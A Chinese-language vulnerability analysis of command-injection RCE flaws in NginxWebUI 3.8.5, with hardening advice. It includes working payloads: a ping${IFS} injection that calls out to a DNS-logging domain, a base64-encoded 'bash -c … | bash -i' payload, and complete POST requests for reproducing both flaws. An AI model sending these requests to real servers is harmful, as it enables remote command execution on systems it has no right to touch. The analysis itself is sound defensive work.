NginxWebUI 3.8.5版本RCE漏洞分析与安全加固指南
漏洞概述
NginxWebUI是一款基于Java开发的Nginx图形化管理工具,在3.8.5版本中存在多处远程代码执行(RCE)漏洞。这些漏洞主要源于对用户输入的不当处理,特别是在nginxExe参数的控制上存在严重安全隐患。
历史漏洞分析
漏洞背景
在3.6.2版本后,NginxWebUI开始修复/adminPage/conf/runCmd接口的RCE漏洞,但修复不彻底,导致在3.8.5版本中仍然存在可利用的RCE漏洞。
防御机制分析
com.cym.controller.adminPage.ConfController#isAvailableCmd方法是主要的防御点,其逻辑如下:
-
通过switch语句检查命令是否符合预设的nginx操作命令:
switch (cmd) { case "net start nginx": case "service nginx start": case "systemctl start nginx": case "net stop nginx": case "service nginx stop": case "systemctl stop nginx": case "taskkill /f /im nginx.exe": case "pkill nginx": return true; default: break; } -
检查命令是否匹配nginx执行路径相关格式:
if (cmd.equals(settingService.get("nginxExe") + " -s stop" + dir)) { return true; } if (cmd.equals(settingService.get("nginxExe") + " -c " + settingService.get("nginxPath") + dir)) { return true; }
漏洞利用方式
虽然ToolUtils.handlePath会过滤特殊字符,但攻击者可以通过控制nginxExe和cmd参数构造特定payload绕过限制:
-
设置
nginxExe和nginxPath为恶意值:nginxExe=ping${IFS}jitmszgnmy.dgrh3.cn nginxPath=1 -
使最终执行的命令变为:
ping${IFS}jitmszgnmy.dgrh3.cn -c 1 -
虽然无法执行复杂命令,但可以执行如ping等简单命令。
未修复的RCE漏洞分析
漏洞位置
com.cym.controller.adminPage.ConfController#check接口存在更严重的RCE漏洞。
漏洞细节
-
nginxExe参数可控,当不为空时直接拼接至命令中执行:rs = RuntimeUtil.execForStr(nginxExe + " -v"); -
由于Java的
RuntimeUtil.exec与shell执行方式不同,需要特殊构造payload:- 使用bash和base64编码绕过限制
- 示例payload:
bash+-c+{echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA==}|{base64,-d}|{bash,-i}
-
需要配合特定JSON参数才能触发:
{ "nginxPath": "", "nginxContent": "", "subContent": [], "subName": [] }
技术原理
Java的RuntimeUtil.exec与shell执行的主要区别:
RuntimeUtil.cmdSplit会以空格分隔命令ProcessBuilder.start将第一个参数作为命令,其余作为参数- 导致shell中的特殊语法无法直接执行
安全加固方案
修复方案一:严格参数验证
-
对所有
nginxExe参数应用ToolUtils.handlePath过滤 -
验证用户输入是否为有效文件路径:
File file = new File(nginxExe); boolean isFile = file.isFile(); if (!isFile) { return renderSuccess("not nginx filepath"); } -
验证文件是否为真正的nginx程序:
rs = RuntimeUtil.execForStr(nginxExe + " -v"); if (!rs.contains("nginx version")) { return renderSuccess("not nginx"); }
修复方案二:替代方案建议
- 直接读取文件内容检查nginx特征(如"nginx version: nginx/x.x.x")
- 避免直接执行用户提供的命令
- 实现一键安装编译nginx功能,避免用户自定义路径
注意事项
- 即使修复后,如果服务器已被入侵上传恶意文件,仍可能通过其他方式执行
- 需要综合考虑业务需求和安全性的平衡
- 对
/usr/sbin/reboot等系统命令要特别防范
漏洞复现步骤
历史漏洞复现
-
发送POST请求设置恶意参数:
POST /adminPage/conf/saveCmd HTTP/1.1 Host: target nginxExe=ping${IFS}example.com&nginxPath=1 -
触发命令执行,验证DNS请求或ICMP回显
未修复RCE复现
-
构造恶意请求:
POST /adminPage/conf/check HTTP/1.1 Host: target nginxPath=&nginxExe=bash+-c+{echo,<base64编码命令>}|{base64,-d}|{bash,-i}&nginxDir=&json={"nginxPath":"","nginxContent":"","subContent":[],"subName":[]} -
观察命令执行结果
总结与建议
- 永远不要信任前端用户输入
- 最小权限原则,限制NginxWebUI的运行权限
- 考虑替代方案,如使用官方Nginx管理工具
- 定期审计代码,特别是涉及命令执行的部分
- 关注官方更新,及时应用安全补丁
通过以上措施,可以显著降低NginxWebUI的RCE风险,提高系统安全性。